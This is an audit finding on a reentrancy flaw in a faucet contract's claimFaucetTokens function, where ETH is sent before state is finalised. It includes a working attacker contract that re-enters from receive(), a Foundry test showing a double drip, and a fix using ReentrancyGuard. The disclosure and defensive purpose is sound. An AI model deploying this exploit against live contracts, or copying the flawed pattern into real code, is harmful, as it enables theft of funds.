Reentrancy in ETH drip during claimFaucetTokens allows multiple claims / double-drip
Description
-
Normal behavior: claimFaucetTokens should transfer ETH to a first-time claimer exactly once and update all related state (cooldown, hasClaimedEth, daily counters) so a reentrant call cannot obtain additional payouts.
-
Specific issue: the contract performs an external call to send ETH to the claimer before all reentrancy-sensitive state is finalized. A malicious recipient can reenter the function from its payable fallback and obtain extra drips (tokens/ETH) within the same claim flow.
function claimFaucetTokens() public {
if (dailyDrips + sepEthAmountToDrip <= dailySepEthCap && address(this).balance >= sepEthAmountToDrip) {
hasClaimedEth[faucetClaimer] = true;
dailyDrips += sepEthAmountToDrip;
@> (bool success,) = faucetClaimer.call{value: sepEthAmountToDrip}("");
if (success) {
emit SepEthDripped(faucetClaimer, sepEthAmountToDrip);
} else {
revert RaiseBoxFaucet_EthTransferFailed();
}
Risk
Likelihood:
Impact:
Attacker can reenter and claim multiple drips (double-dip), corrupt counters (dailyDrips, dailyClaimCount), drain ETH or tokens, and break cooldown invariants.
Proof of Concept
The PoC demonstrates a malicious contract reentering claimFaucetTokens from its receive() during the ETH transfer, allowing it to claim two drips in one flow and thus obtain double the allowed tokens within the cooldown window.
Add this MaliciousContract and test function to the test file:
contract MaliciousContract {
RaiseBoxFaucet raiseBoxFaucet;
constructor(address raiseBoxFaucetAddress) {
raiseBoxFaucet = RaiseBoxFaucet(payable(raiseBoxFaucetAddress));
}
function attack() external {
raiseBoxFaucet.claimFaucetTokens();
}
receive() external payable {
raiseBoxFaucet.claimFaucetTokens();
}
}
function testReentrancyAttack() public {
MaliciousContract maliciousContract = new MaliciousContract(raiseBoxFaucetContractAddress);
maliciousContract.attack();
assertEq(raiseBoxFaucet.balanceOf(address(maliciousContract)), 2 * raiseBoxFaucet.faucetDrip());
}
Run the test with:
forge test --match-test testReentrancyAttack -vvv
Recommended Mitigation
function claimFaucetTokens() public {
// existing code...
if (dailyDrips + sepEthAmountToDrip <= dailySepEthCap && address(this).balance >= sepEthAmountToDrip) {
hasClaimedEth[faucetClaimer] = true;
dailyDrips += sepEthAmountToDrip;
+ lastClaimTime[faucetClaimer] = block.timestamp;
+ dailyClaimCount += 1;
(bool success,) = faucetClaimer.call{value: sepEthAmountToDrip}("");
if (success) {
emit SepEthDripped(faucetClaimer, sepEthAmountToDrip);
} else {
revert RaiseBoxFaucet_EthTransferFailed();
}
// existing code...
+ import {ReentrancyGuard} from "@openzeppelin/contracts/security/ReentrancyGuard.sol";
- contract RaiseBoxFaucet is ERC20, Ownable {
+ contract RaiseBoxFaucet is ERC20, Ownable, ReentrancyGuard {
// ...existing code...
- function claimFaucetTokens() public {
+ function claimFaucetTokens() public nonReentrant {
// ...existing code...
}